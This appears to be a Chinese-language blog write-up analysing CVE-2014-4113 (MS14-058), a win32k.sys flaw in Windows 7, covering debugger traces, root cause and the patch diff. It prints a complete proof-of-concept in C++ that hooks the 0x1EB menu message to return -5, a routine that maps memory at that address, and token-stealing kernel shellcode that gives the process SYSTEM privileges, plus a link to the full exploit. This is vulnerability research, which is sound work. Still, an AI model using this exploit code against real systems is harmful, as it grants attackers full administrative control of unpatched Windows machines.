首页 > 其他分享 >漏洞分析:MS14-058(CVE-2014-4113)

漏洞分析:MS14-058(CVE-2014-4113)

时间:2022-10-20 18:34:54浏览次数:51  
标签:菜单 eax 漏洞 058 4113 MS14 2014 CVE

作者:selph

漏洞分析:CVE-2014-4113

漏洞介绍 漏洞程序 Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。

如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

漏洞原理 该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权

实验环境 虚拟机:Windows 7 x86 sp1

物理机:Windows 10 x64 21H2

用到的工具:IDA,Windbg,VS2022

漏洞分析 以网上随便找的poc为突破口,开始分析漏洞,在虚拟机里运行poc,windbg接管异常,说明漏洞实际存在(默认安装的Windows7x86sp1)

查看调用堆栈:

kd> kb

ChildEBP RetAddr Args to Child

00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout+0xb3 01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage+0x28 02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages+0x582 03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop+0x2c6 04 af0bfba0 9d63f9dc 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx+0x5cd 05 af0bfc14 83e441ea 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx+0xc3

06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry+0x12a

07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet

查看一下当前异常的地方:

kd> u win32k!xxxSendMessageTimeout+0xb3: 9d5b93fa 3b7e08 cmp edi,dword ptr [esi+8] 9d5b93fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (9d5b9487) 9d5b9403 8b0e mov ecx,dword ptr [esi] 9d5b9405 8b15e4d1719d mov edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)] 9d5b940b 81e1ffff0000 and ecx,0FFFFh 9d5b9411 0faf0de8d1719d imul ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)] 9d5b9418 33c0 xor eax,eax 9d5b941a f644110901 test byte ptr [ecx+edx+9],1

是esi的值导致了漏洞,查看esi的值:

kd> r esi esi=fffffffb

在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项(参考资料[6])

这里头会调用xxxMNLoop,这个函数里有while(1)循环,应该是消息循环,处理消息的函数貌似正是xxxHandleMenuMessages

据查阅资料(参考资料[11]),TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环

分析xxxHandleMenuMessages 这里面开始经过一堆判断之后,会通过xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用

这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!

而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息

图片 1.png

分析xxxMNFindWindowFromPoint 异常发生在了xxxSendMessage里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint的返回值,该函数如下图所示

可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup有值,这里的ppopupmenu是传入的参数,是PPOPUPMENU结构体(参考资料[14])

其中spwndNextPopup成员的值含义是:下一层Popup菜单,是WND结构,所以需要创建两个popup菜单,其中一个作为另一个的下层

struct tagWND spwndNextPopup; / The next popup in the hierarchy. Null if the last * in chain */

这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是popup菜单的下一层菜单,返回值应该就是菜单句柄了

图片 2.png

这里对返回值会调用IsMFMWFPWindow函数进行处理:如果是非空,且不为-5或-1,就返回1

BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }

若这里返回了1,就会进入if语句导致该变量被重新赋值,也就是说,这里如果要跳过这个if语句,返回值就必须是-1或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的SendMessage中,所以这里的返回值在为-5的时候,会触发漏洞

分析xxxSendMessage int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src) { InterlockedIncrement(&glSendMessage); return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1); }

这个函数把传入的参数又接着传入了xxxSendMessageTimeout函数

分析xxxSendMessageTimeout 程序异常点在esi的值上,esi=-5被传入了进来,然后进行取值触发地址访问异常

这个函数首先把这个值保存到了esi

图片 3.png

接着往下有一个比较跳转:会从esi+8的地址取值

图片 4.png

再往下还有两个要esi的地方:

图片 5.png

Poc编写 如果能控制0x1EB消息的返回值为-5,那么就能走到xxxSendMessageTimeout中,让程序异常触发漏洞,实现poc

参考师傅们的笔记(参考资料[15])得知,这里的调用SendMessage存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以Hook 0x1EB消息

Poc如下(参考自参考资料[5]的poc代码):

#include #include

LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // 手动触发按下事件 if (uMsg == WM_ENTERIDLE) { PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } return DefWindowProc(hWnd, uMsg, wParam, lParam); }

LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // 触发漏洞,返回-5 if (uMsg == 0x1eb) { return -5; }

return DefWindowProc(hWnd, uMsg, wParam, lParam);

}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { CWPSTRUCT* ptag = (CWPSTRUCT*)lParam; if (ptag->message == 0x1eb) { // 这里至关重要:需要解除Hook if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun); } } return CallNextHookEx(0, code, wParam, lParam); }

int main() { // 注册窗口类 WNDCLASSA wnd = { 0 }; wnd.hInstance = ::GetModuleHandle(NULL); wnd.lpfnWndProc = DialogFun; wnd.lpszClassName = "CVE-2014-4113"; RegisterClassA(&wnd);

// 创建窗口
HWND hwnd = ::CreateWindowA(
    wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL);

// 创建Pop-up菜单
// 需要两个菜单,一个作为子菜单存在
HMENU menu1 = CreatePopupMenu();    // 主菜单
HMENU menu2 = CreatePopupMenu();    // 子菜单
::AppendMenuA(menu2, MF_STRING, 0, "world");
::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello");  //给它一个 spwndNextPopup 指针

// 设置Hook
::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

// 触发漏洞
BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);

return 0;

}

这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!

漏洞利用 在Poc的基础上,如果能控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用

布置内存 DWORD GetPtiCurrent() { __asm { mov eax, fs: [0x18] mov eax, [eax + 0x40] } }

BOOL initMem() { // 初始化一些要用到的内存 HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// 申请内存
ULONG base = -5;
ULONG size = 0x1000;
NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ntstatus != 0) {
    FreeLibrary(hNtdll);
    return FALSE;
}
*(DWORD*)0x3 = GetPtiCurrent();
*(BYTE*)0x11 = (BYTE)4;
*(DWORD*)0x5B = (DWORD)ShellCode;
return TRUE;

}

Shellcode 来自参考资料[19]

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4) { _asm { pushad mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread mov eax, [eax + 0x50] // Find the _EPROCESS structure mov ecx, eax mov edx, 4 // edx = system PID(4)

    // The loop is to get the _EPROCESS of the system
    find_sys_pid :
    mov eax, [eax + 0xb8]   // Find the process activity list
    sub eax, 0xb8           // List traversal
    cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
    jnz find_sys_pid

    // Replace the Token
    mov edx, [eax + 0xf8]
    mov[ecx + 0xf8], edx
    popad
}
return 0;

}

完整代码见GitHub:https://github.com/kn0sky/vul-analysis-study/blob/main/CVE-2014-4113/CVE-2014-4113.cpp

利用截图

图片 6.png

补丁diff 漏洞触发点(0x1ED消息)处的函数对比

图片 7.png

可以看到,左边检查ebx参数是检查是否是-1,不是-1则发送消息

右边的检查则多了一个过程,调用了IsMFMWFPWindow函数进行再次检查:

BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }

这下子直接杜绝了把-5当作参数传入SendMessage函数的情况,从而修补了漏洞

参考资料 • [1] CVE - CVE-2014-4113 (mitre.org) • [2] 国家信息安全漏洞库 (cnnvd.org.cn) • [3] Download Windows 7 安全更新程序 (KB3000061) from Official Microsoft Download Center • [4] CVE-2014-4113提权漏洞学习笔记 - 知乎 (zhihu.com) • [5] cveXXXX/poc.cpp at master · B2AHEX/cveXXXX · GitHub • [6] TrackPopupMenuEx function (winuser.h) - Win32 apps | Microsoft Docs • [7] CreatePopupMenu function (winuser.h) - Win32 apps | Microsoft Docs • [8] AppendMenuA function (winuser.h) - Win32 apps | Microsoft Docs • [9] CallWndProc callback function (Windows) | Microsoft Docs • [10] SetWindowLongPtrA function (winuser.h) - Win32 apps | Microsoft Docs • [11] TrackPopupMenu弹出菜单后父窗口的消息响应问题-CSDN社区 • [12] Win32k: mnloop.c 文件参考 (gitee.io) • [13] Win32k: menu.c 源文件 (gitee.io) • [14] Win32k: tagPOPUPMENU结构体 参考 (gitee.io) • [15] 【技术分享】经典内核漏洞调试笔记 - 安全客,安全资讯平台 (anquanke.com) • [16] [原创]CVE-2014-4113分析及Exploit逆向-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com • [17] [原创]CVE-2014-4113提权漏洞学习笔记-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com • [18] CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析 | Thunder_J (thunderjie.github.io) • [19] CVE/CVE-2014-4113.c at master · ThunderJie/CVE · GitHub • [20] CVE-2014-4113_Thunder_J的博客-CSDN博客

标签:菜单,eax,漏洞,058,4113,MS14,2014,CVE
From: https://blog.51cto.com/u_15452079/5780412

相关文章

  • 做题记录整理图论/tarjan P5058 [ZJOI2004]嗅探器(2022/10/19)
    P5058[ZJOI2004]嗅探器首先,我们应该马上发现它求的和割点非常像,但是是对于两个点而言的割点这时候就需要对tarjan有着比较深入的理解(也可能是我太拉了)如果我们以其中一......
  • AGC-058
    AtcoderGrandContest058队友说板刷agc是最好的训练方法之一,于是我来了A-MakeitZigzag题意:给你一个长度为\(2n\)的排列,你最多可以做\(n\)次交换相邻元素的......
  • 0058-Tui-段落示例
    环境Time2022-08-12Rust1.63.0Tui0.18.0前言说明参考:https://github.com/fdehau/tui-rs/blob/master/examples/paragraph.rs目标使用tui-rs显示段落。定义......
  • MySQL数据库安装保姆级教程及1045错误和2058问题解决
    使用Mysql的zip压缩包解压版,下载之后需进行一定的配置,才能使用它。下面对Mysql压缩包版的安装方法进行详细的描述,如有疑问或错误,望及时反馈。首先,mysql的官方下载地址......
  • T1058 求一元二次方程 (信息学一本通C++)
     目录 [题目描述]求一元二次方程ax^2+bx+c=0的根,其中a不等于0。结果要求精确到小数点后5位。[输入]输入一行,包含三个浮点数a,b,c(它们之间以一个空格分开),分别表示......
  • 058_末晨曦Vue技术_过渡 & 动画之过渡的类名
    进入/离开&列表过渡点击打开视频讲解更加详细概述Vue在插入、更新或者移除DOM时,提供多种不同方式的应用过渡效果。包括以下工具:在CSS过渡和动画中自动应用cl......
  • 洛谷-P5058 嗅探器
    嗅探器tarjan割点考虑以\(a\)作为根进行一次\(tarjan\)的搜索,会发现只有到\(b\)的路径上的割点才有可能是最终的答案因此考虑一边标记这个路径,一边在这个路径上......
  • P2058 [NOIP2016 普及组] 海港
    #[NOIP2016普及组]海港##题目背景NOIP2016普及组T3##题目描述小K是一个海港的海关工作人员,每天都有许多船只到达海港,船上通常有很多来自不同国家的乘客。小......
  • AtCoder Grand Contest 058 部分题目不简要题解
    从这里开始比赛目录ProblemA MakeitZigzag考虑使$1,3,5,7,\cdots,2n-3$这些位置后三个中的最大值在中间,最后再处理一下最后两个位置就行了。Cod......
  • AGC058D Yet Another ABC String
    link由于限制是循环的考虑用连续段容斥。直接容斥的做法是枚举一组限制,并带上\((-1)^c\)的系数:某些相邻的三个数必须\(\in123,231,312\),相交的限制会互相影响得到连......